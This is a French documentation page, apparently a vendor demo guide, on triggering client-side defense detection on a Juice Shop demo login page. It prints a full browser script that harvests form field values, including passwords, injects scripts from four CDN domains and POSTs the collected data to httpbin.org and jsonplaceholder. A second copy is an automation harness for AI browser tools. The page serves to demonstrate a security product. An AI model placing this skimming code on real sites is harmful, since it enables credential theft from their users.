- Accueil
- Défense côté client
- Détection des déclencheurs
Détection des déclencheurs
Détection des déclencheurs
Section intitulée « Détection des déclencheurs »CSD surveille le comportement JavaScript à l’intérieur du navigateur. Contrairement au Pare-feu applicatif (WAF) ou à la Défense Bot, il n’est pas possible de déclencher la détection CSD avec des commandes curl — cela nécessite une activité de script réelle côté navigateur. Le script combiné suivant déclenche les trois signaux de détection CSD en une seule exécution : collecte des champs de formulaire, injection de scripts tiers depuis plusieurs domaines CDN, et exfiltration de données vers des points de terminaison externes.
Exécuter le script de simulation combiné
Section intitulée « Exécuter le script de simulation combiné »-
Accédez à la page de connexion de Juice Shop à l’adresse
https://botdemo.sales-demo.f5demos.com/#/login -
Saisissez des identifiants fictifs dans les champs du formulaire — tapez
test@example.comdans le champ Email etP@ssword123dans le champ Password (ne soumettez pas le formulaire) -
Ouvrez les DevTools (F12 → onglet Console)


-
Collez le script suivant dans la console et appuyez sur Entrée — il s’exécute automatiquement en tant que fonction auto-invoquée
Combined Detection Script // CSD Demo — Combined Detection Script// Triggers ALL CSD detection signals: field reads, script injection, exfiltration(function() {console.log('='.repeat(50));console.log('[CSD Demo] Combined Detection Script — Starting');console.log('='.repeat(50));// Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)console.log('\n[Formjack] Phase 1: Form field harvesting');var inputs = document.querySelectorAll('input');var harvested = {};inputs.forEach(function(input) {var name = input.name || input.id || input.type;harvested[name] = input.value || '(empty)';});console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);// Phase 2: Inject third-party scripts from 4 CDN domainsconsole.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');var cdns = [{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }];cdns.forEach(function(cdn) {var script = document.createElement('script');script.src = cdn.url;script.onload = function() {console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);};script.onerror = function() {console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);};document.head.appendChild(script);console.log('[Supply Chain] Injected script tag: ' + cdn.name);});// Phase 3: Exfiltrate harvested data to external endpointsconsole.log('\n[Exfil] Phase 3: Data exfiltration');var payload = JSON.stringify({type: 'combined_demo',credentials: harvested,page: window.location.href,timestamp: Date.now()});fetch('https://www.httpbin.org/post', {method: 'POST',mode: 'no-cors',body: payload}).then(function() {console.log('[Exfil] Data sent to www.httpbin.org');});fetch('https://jsonplaceholder.typicode.com/posts', {method: 'POST',mode: 'no-cors',headers: { 'Content-Type': 'application/json' },body: payload}).then(function() {console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');});// Summaryconsole.log('\n' + '='.repeat(50));console.log('[CSD Demo] Simulation complete');console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');console.log('='.repeat(50));})(); -
Observez la sortie console
[CSD Demo]par phases, confirmant chaque étape : collecte des champs, injection de scripts depuis 4 domaines CDN, et exfiltration de données.esm.shutilise la syntaxe des modules ES (export default …) — lorsqu’il est chargé via une balise<script>classique, cela provoque uneUncaught SyntaxError: Cannot use import statement outside a module. Cela est attendu et n’affecte pas la détection CSD (la balise script est tout de même injectée et la requête réseau est bien effectuée)

Exécution automatisée par IA
Section intitulée « Exécution automatisée par IA »Les assistants IA dotés d’outils d’automatisation de navigateur (MCP Chrome DevTools, Playwright, Puppeteer) exécutent la simulation de manière programmatique au lieu de suivre les étapes manuelles ci-dessus :
- Naviguer avec initScript — naviguez d’abord vers
about:blankpour garantir un contexte de document propre, puis utiliseznavigate_pagevers l’URL de la page de connexion (par exemple,http://$F5XC_DOMAINNAME/#/login) avec uninitScriptqui sauvegarde les fonctions nativessetInterval,clearInterval,fetchetconsole.logavant que zone.js ne les remplace, interroge les champs du formulaire de connexion, remplit les identifiants via le setter natifHTMLInputElement.prototype.value, et exécute immédiatement le script de détection combiné en ligne. Utilisez l’initScript textuel ci-dessous. - Fermer la bannière de bienvenue — utilisez
press_keyavecEscapepour fermer la bannière de bienvenue. Lors des visites suivantes, la bannière peut ne pas apparaître (cookies persistés) - Attendre la fin de l’exécution — patientez 10 secondes pour que tous les rappels de chargement/erreur des scripts CDN et les résolutions des promesses fetch se terminent
- Capturer les preuves — utilisez
list_console_messagespour vérifier la présence de[CSD Demo] Simulation complete; utilisezlist_network_requestsfiltré sur les typesscriptetfetchpour vérifier les codes de statut HTTP
Harnais initScript (textuel — encapsule le script de détection combiné pour l’exécution automatisée) :
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('input[type="email"]'); var passEl = document.querySelector('input[type="password"]'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);Remarque sur fetch natif : Ce harnais sauvegarde window.fetch.bind(window) pour éviter les erreurs de zone.js. Il s’agit du comportement correct pour toutes les phases de simulation d’attaque. L’atténuation CSD bloque le chargement des scripts (en effaçant les valeurs de l’attribut src des balises <script>), pas les appels fetch(), de sorte que la sauvegarde de la référence fetch native n’affecte pas le comportement d’atténuation. Le même initScript est utilisé pour la Phase 2 et la Phase 3.
Les opérateurs sans outils d’automatisation de navigateur utilisent les étapes manuelles ci-dessus.
Ce que fait le script
Section intitulée « Ce que fait le script »La simulation combinée déclenche les trois signaux de détection CSD :
| Comportement | Ce que fait le script | Ce que voit CSD |
|---|---|---|
| Collecte des champs | Lit les valeurs des éléments input existants (email, mot de passe) | Scripts lisant des champs de formulaire sensibles — signalé comme Risque élevé |
| Injection de scripts | Ajoute 4 balises <script> chargeant depuis cdn.jsdelivr.net, esm.sh, unpkg.com et ga.jspm.io | 4 nouveaux domaines de scripts tiers sur la page |
| Exfiltration de données | Envoie les données collectées via fetch vers www.httpbin.org et jsonplaceholder.typicode.com | Appels réseau vers des domaines externes (remarque : les destinations fetch apparaissent comme des interactions réseau de scripts, et non dans la vue des domaines réseau) |
Simulations avancées
Section intitulée « Simulations avancées »Le script combiné ci-dessus est une version simplifiée en 3 phases (collecte, injection, exfiltration) adaptée à la plupart des démonstrations. La Bibliothèque de scripts d’attaque propose 10 scripts ciblés organisés par type d’attaque, dont un test de stress Détection maximale qui ajoute la manipulation du DOM, l’exfiltration de cookies et des canaux de balises image en complément de la couverture du script combiné. Utilisez les scripts individuels pour démontrer des catégories d’attaques spécifiques (formjacking, skimming numérique, injection dans la chaîne d’approvisionnement, exfiltration de données, manipulation du DOM) de manière isolée.